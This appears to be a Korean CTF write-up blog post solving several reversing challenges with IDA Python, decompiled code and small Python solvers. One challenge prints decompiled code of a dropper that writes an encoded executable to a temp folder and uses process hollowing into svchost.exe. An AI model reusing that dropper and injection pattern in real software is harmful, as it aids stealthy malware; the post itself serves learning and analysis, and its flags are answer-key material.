그러면 이 리소스들을 추출해서 파일을 쓰면 플래그가 써 있는 JPEG가 나온다.

from idaapi import *
from idautils import *

value = []
for i in range(98928):
	value.append(hex(Byte(0x139b398+i)))
	"""
	value[i] = value[i].replace('0x','')
	if len(value[i]) == 1:
		value[i] = "0" + value[i]
	"""

f = open('flag.jpeg','wb')
data = ''.join(chr(int(value[i],16)) for i in range(98928))
f.write(data)
f.close()

IDA Python을 이용해서 스크립트를 짜면 된다. 그러면 이미지 파일 하나가 생성된다.

FLAG : SeoRi's_Meow


J._.n3utr0n

process hallow 기법을 사용했다.

아직 좀 더 분석해야 하는 문제이다. drop.exe 파일을 드랍한 다음 svchost.exe 프로세스를 생성하고 이 프로세스에 drop.exe의 내용을 삽입하고 삭제한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  CHAR *lpBuffer; // ST54_4
  HANDLE hFile; // ST28_4
  size_t i; // [esp+34h] [ebp-13450h]
  DWORD NumberOfBytesWritten; // [esp+40h] [ebp-13444h]
  size_t Size; // [esp+44h] [ebp-13440h]
  char Src; // [esp+48h] [ebp-1343Ch]
  char Dst; // [esp+49h] [ebp-1343Bh]
  char Buffer; // [esp+9A4Ch] [ebp-9A38h]
  char v12; // [esp+9A4Dh] [ebp-9A37h]
  CHAR CommandLine[4]; // [esp+13450h] [ebp-34h]
  CHAR CmdLine; // [esp+13458h] [ebp-2Ch]
  char v15; // [esp+13459h] [ebp-2Bh]
  char v16; // [esp+1345Ah] [ebp-2Ah]
  char v17; // [esp+1345Bh] [ebp-29h]
  char v18; // [esp+1345Ch] [ebp-28h]
  char v19; // [esp+1345Dh] [ebp-27h]
  char v20; // [esp+1345Eh] [ebp-26h]
  char v21; // [esp+1345Fh] [ebp-25h]
  char v22; // [esp+13460h] [ebp-24h]
  char v23; // [esp+13461h] [ebp-23h]
  char v24; // [esp+13462h] [ebp-22h]
  char v25; // [esp+13463h] [ebp-21h]
  char v26; // [esp+13464h] [ebp-20h]
  char v27; // [esp+13465h] [ebp-1Fh]
  char v28; // [esp+13466h] [ebp-1Eh]
  char v29; // [esp+13467h] [ebp-1Dh]
  char v30; // [esp+13468h] [ebp-1Ch]
  char v31; // [esp+13469h] [ebp-1Bh]
  char v32; // [esp+1346Ah] [ebp-1Ah]
  char v33; // [esp+1346Bh] [ebp-19h]
  char v34; // [esp+1346Ch] [ebp-18h]
  char v35; // [esp+1346Dh] [ebp-17h]
  char v36; // [esp+1346Eh] [ebp-16h]
  char v37; // [esp+1346Fh] [ebp-15h]
  char v38; // [esp+13470h] [ebp-14h]
  char v39; // [esp+13471h] [ebp-13h]
  char v40; // [esp+13472h] [ebp-12h]
  char v41; // [esp+13474h] [ebp-10h]
  char v42; // [esp+13475h] [ebp-Fh]
  char v43; // [esp+13476h] [ebp-Eh]
  char v44; // [esp+13477h] [ebp-Dh]
  char v45; // [esp+13478h] [ebp-Ch]
  char v46; // [esp+13479h] [ebp-Bh]
  char v47; // [esp+1347Ah] [ebp-Ah]
  char v48; // [esp+1347Bh] [ebp-9h]
  char v49; // [esp+1347Ch] [ebp-8h]

  v41 = 117;
  v42 = 99;
  v43 = 126;
  v44 = 97;
  v45 = 63;
  v46 = 116;
  v47 = 105;
  v48 = 116;
  v49 = 0;
  CmdLine = 114;
  v15 = 124;
  v16 = 117;
  v17 = 63;
  v18 = 116;
  v19 = 105;
  v20 = 116;
  v21 = 49;
  v22 = 62;
  v23 = 122;
  v24 = 49;
  v25 = 117;
  v26 = 116;
  v27 = 125;
  v28 = 49;
  v29 = 82;
  v30 = 43;
  v31 = 77;
  v32 = 117;
  v33 = 99;
  v34 = 126;
  v35 = 97;
  v36 = 63;
  v37 = 116;
  v38 = 105;
  v39 = 116;
  v40 = 0;
  Src = 0;
  memset(&Dst, 0, 0x9A00u);
  Size = 0;
  Buffer = 0;
  memset(&v12, 0, 0x9A00u);
  strcpy(CommandLine, "svchost");
  NumberOfBytesWritten = 0;
  sub_401770(&CmdLine, 26);
  sub_401770(&v41, 8);
  if ( !__FrameUnwindToState(0, &Src, (int)&Size) )
    return 0;
  memset(&Buffer, 0, Size + 1);
  memcpy(&Buffer, &Src, Size);
  for ( i = 0; i <= Size; ++i )
    *(&Buffer + i) = ~*(&Buffer + i) ^ 0x41;
  lpBuffer = (CHAR *)operator new[](0x104u);
  GetTempPathA(0x104u, lpBuffer);
  *(_BYTE *)(sub_401000(lpBuffer, 92) + 1) = 0;
  qmemcpy(&lpBuffer[strlen(lpBuffer)], &v41, &v41 + strlen(&v41) + 1 - &v41);
  hFile = CreateFileA(lpBuffer, 0x40000000u, 0, 0, 2u, 0x80u, 0);
  WriteFile(hFile, &Buffer, 0x9A00u, &NumberOfBytesWritten, 0);
  sub_4010C0(CommandLine, lpBuffer);
  WinExec(&CmdLine, 5u);
  return 0;
}

Ollydbg를 이용해서 마지막에 drop.exe 파일을 쓰고 이후에 삭제하는 부분을 코드패치해서 삭제 안되게 해서 C 드라이브 밑에 drop.exe 파일이 생성되게 하면 된다.

여기를 보면 svchost.exe 프로세스에서 drop.exe 파일을 생성하고 그 파일을 쓰고 마지막에 삭제해주는데 삭제해주는 부분에서 삭제파일 이름을 NOP 패치해주면 파일이 삭제되지 않을 것이다.

이후 디버깅해서 실행하면 C 드라이브에 drop.exe 파일이 생성됐을 것이다.

그리고 생성된 drop.exe 파일을 보면 이렇게 되어있는데 아래처럼 그냥 v3 긁어와서 플래그 출력하면 플래그가 안나온다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char v3; // [esp+8h] [ebp-24h]
  int v4; // [esp+9h] [ebp-23h]
  int v5; // [esp+Dh] [ebp-1Fh]
  int v6; // [esp+11h] [ebp-1Bh]
  int v7; // [esp+15h] [ebp-17h]
  int v8; // [esp+19h] [ebp-13h]
  int v9; // [esp+1Dh] [ebp-Fh]
  int v10; // [esp+21h] [ebp-Bh]
  __int16 v11; // [esp+25h] [ebp-7h]
  char v12; // [esp+27h] [ebp-5h]

  v3 = 246;
  v4 = 3532841874;
  v5 = 3469265295;
  v6 = 3667710604;
  v7 = 2631654864;
  v8 = 3654589574;
  v9 = 2631127248;
  v10 = 3503215563;
  v11 = 40408;
  v12 = 0;
  sub_401040("flag is : %s\n", &v3);
  exit(1);
}

sub_401080 함수를 보면 실제 플래그 복호화 루틴이 나온다.

이 함수를 보면 ~*(v3+i) 값과 0x43과 xor연산해준다.

int __cdecl sub_401080(int a1)
{
  signed int i; // [esp+4h] [ebp-4h]

  for ( i = 0; i < 31; ++i )
    *(i + a1) = ~*(i + a1) ^ 0x43;
  return sub_401040("flag is : %s\n", a1);
}

그러면 이제 역연산을 짜면 되겠다.

table = [0xf6,0x92,0xe3,0x92,0xd2,0x8f,0xc9,0xc8,0xce,0x8c,0xd2,0x9c,0xda,0xd0,0xdd,0xdb,0x9c,0x86,0x9c,0xd4,0xd9,0xd0,0xd0,0xd3,0x9c,0xcb,0xd3,0xce,0xd0,0xd8,0x9d]
#print ''.join(chr(255-x^0x43) for x in table)
print ''.join(chr((~x^0x43) & 255) for x in table)

FLAG : J._.n3utr0n flag : hello world!


babyarm

arm_asm.s 파일이 주어져서 핸드레이를 해야한다.

flag:
	.ascii	"]cX^r@VC`b*V+idVk_+eVD(gjt\000"
main:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	lr fp 순으로 stack에 값을 넣는다. 함수 프롤로그 부분
	add	fp, sp, #4
	fp
	sub	sp, sp, #8
	sp -= 8이라고 볼 수 있다. 
	스택 사용 공간을 할당하는듯 하다.
	ldr	r0, .L5
	*(r0) = .L5
	bl	srand
	bl	rand
	mov	r2, r0
	ldr	r3, .L5+4
	smull	r1, r3, r2, r3
	asr	r1, r3, #2
	asr	r3, r2, #31
	sub	r1, r1, r3
	mov	r3, r1
	lsl	r3, r3, #2
	add	r3, r3, r1
	lsl	r3, r3, #1
	sub	r3, r2, r3
	r3 = r2 - r3
	str	r3, [fp, #-8]
	*(fp-8)에 r3를 넣는다
	mov	r3, #0
	r3 = 0으로 셋팅
	str	r3, [fp, #-12]
	*(fp-12)에 r3를 넣는다.
	b	.L2
	.L2 함수 호출한다.
.L3:
	ldr	r2, .L5+8
	ldr	r3, [fp, #-12]
	add	r3, r2, r3
	ldrb	r2, [r3]	@ zero_extendqisi2
	ldr	r3, [fp, #-8]
	and	r3, r3, #255
	add	r3, r2, r3
	and	r1, r3, #255
	ldr	r2, .L5+8
	ldr	r3, [fp, #-12]
	add	r3, r2, r3
	mov	r2, r1
	strb	r2, [r3]
	ldr	r3, [fp, #-12]
	add	r3, r3, #1
	str	r3, [fp, #-12]
.L2:
	ldr	r3, [fp, #-12]
	r3 = *(fp-12)
	cmp	r3, #25
	r3가 25인지 비교하고 25면 제로 플래그 0으로 세팅
	글자수만큼 계속 ~
	ble	.L3
	.L3 연산 결과가 작거나 같으면 .L3를 호출한다.
	ldr	r1, .L5+8
	ldr	r0, .L5+12
	bl	printf
	mov	r3, #0
	r3에 0을 넣는다.
	mov	r0, r3
	r0에도 0을 넣는다.
	리턴 값에 0을 넣은 것이다. return 0; 해준듯 하다.
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	함수 프롤로그 부분인듯하다.
a="]cX^r@VC`b*V+idVk_+eVD(gjt\000"
print ''.join(chr(ord(i)+9) for i in a)

FLAG : flag{I_Lik3_4rm_th4n_M1ps}


easy_rev

easy_rev: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=d6ab8e0c86636e8331cc465ae54a5013598dd79e, not stripped

64비트 바이너리다.

그냥 메인에서는 10개 입력 받아준다.

__int64 __fastcall swap(__int64 a1)
{
  unsigned int v2; // [rsp+18h] [rbp-48h]
  signed int v3; // [rsp+1Ch] [rbp-44h]
  int v4; // [rsp+20h] [rbp-40h]
  signed int i; // [rsp+24h] [rbp-3Ch]
  signed int j; // [rsp+28h] [rbp-38h]
  signed int k; // [rsp+2Ch] [rbp-34h]
  int v8; // [rsp+30h] [rbp-30h]
  int v9; // [rsp+34h] [rbp-2Ch]
  int v10; // [rsp+38h] [rbp-28h]
  int v11; // [rsp+3Ch] [rbp-24h]
  int v12; // [rsp+40h] [rbp-20h]
  int v13; // [rsp+44h] [rbp-1Ch]
  int v14; // [rsp+48h] [rbp-18h]
  int v15; // [rsp+4Ch] [rbp-14h]
  int v16; // [rsp+50h] [rbp-10h]
  int v17; // [rsp+54h] [rbp-Ch]
  unsigned __int64 v18; // [rsp+58h] [rbp-8h]

  v18 = __readfsqword(0x28u);
  v2 = 0;
  v3 = 3;
  v4 = 0;
  v8 = 79;
  v9 = 4;
  v10 = 36;
  v11 = 628;
  v12 = 117;
  v13 = 62;
  v14 = 2458;
  v15 = -101;
  v16 = 41;
  v17 = 239;
  for ( i = 0; i <= 9; ++i )
  {
    if ( v4 % 3 )
    {
      if ( v4 % 3 == 1 )
        v3 -= i;
      else
        v3 += i;
    }
    else
    {
      v3 *= i;
    }
    *(_DWORD *)(a1 + 4LL * i) = v3 ^ *(_DWORD *)(4LL * i + a1);
    ++v4;
  }
  for ( j = 0; j <= 9; ++j )
    *(_DWORD *)(4LL * j + a1) ^= 0xFu;
  for ( k = 0; k <= 9; ++k )
  {
    if ( *(_DWORD *)(4LL * k + a1) == *(&v8 + k) )
      ++v2;
  }
  return v2;
}

swap함수를 보면은 v3의 값을 구해서 a1[i]의 값과 xor연산을 해준다. 그리고 밑에 보면 0xF와 xor한 값이 *(v8[i])이면 된다.

이제 이것을 역연산을 해서 구하면 된다.

table = [79,4,36,628,117,62,2458,-101,41,239]
v3 = 3
a=[]
for i in range(10):
	if i % 3:
		if i % 3 == 1:
			v3 -= i
			a.append(v3)
		else:
			v3 += i
			a.append(v3)
	else:
		v3 *= i
		a.append(v3)

b=[]
for i in range(10):
	for j in range(-3000,3000):
		if table[i] == j^15^a[i]:
			b.append(j)
			break

print 'FLAG key is : ' + str(sum(b))

브루트포스해서 풀었다.

$ ./easy_rev
==========================================
       NEWBIE REV1 right here !!
solve the magic I putted, and get the flag
==========================================
>> 64 -12 42 632 -123 53 2445 -123 63 1
++++++++++++++++++++++++++++++++++++++++++
Let's See the result!!!!
++++++++++++++++++++++++++++++++++++++++++
>> Yes, You got right ( IF YOU CERTAINLY INSERTED EXACTLY 10 NUMBERS )
>> You just need to 'add' all the no for every index. That sum is key for flag file !!
>> (flag file is encryted aes-256-cbc of openssl)

FLAG : flag{R2versing_1s_b4sed_0n_H4cking_:)}


find_flag

파이썬으로 만들어진 exe 파일이다. python-exe-unpacker 를 이용해서 풀었다.

그냥 파일 추출해주면 플래그가 있다.

FLAG : Pyth0n_m4k2_2X2_B1n4ry_:D


'CTF WriteUp' 카테고리의 다른 글

2017 Dimi CTF Final TooEasy  (0) 2019.08.04
2017 Dimi CTF Prequal WhatIsTheEnd  (0) 2019.08.04
2019 Dimi CTF Prequal Writeup  (0) 2019.08.04
2019 Tamu CTF Writeup  (0) 2019.08.04
2019 Codegate Quals Writeup  (0) 2019.08.04

+ Recent posts